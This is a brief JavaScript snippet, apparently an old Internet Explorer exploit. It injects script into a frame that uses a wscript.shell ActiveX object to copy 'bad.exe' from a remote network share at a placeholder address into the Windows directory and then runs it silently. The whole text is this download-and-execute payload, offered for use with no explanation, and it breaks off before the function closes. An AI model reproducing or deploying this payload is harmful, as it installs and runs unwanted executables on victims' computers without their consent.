New shellscript.js
=====================================================
function injectIt() {

document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
e="%comspec% /c copy "+rF+" "+wF; var
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
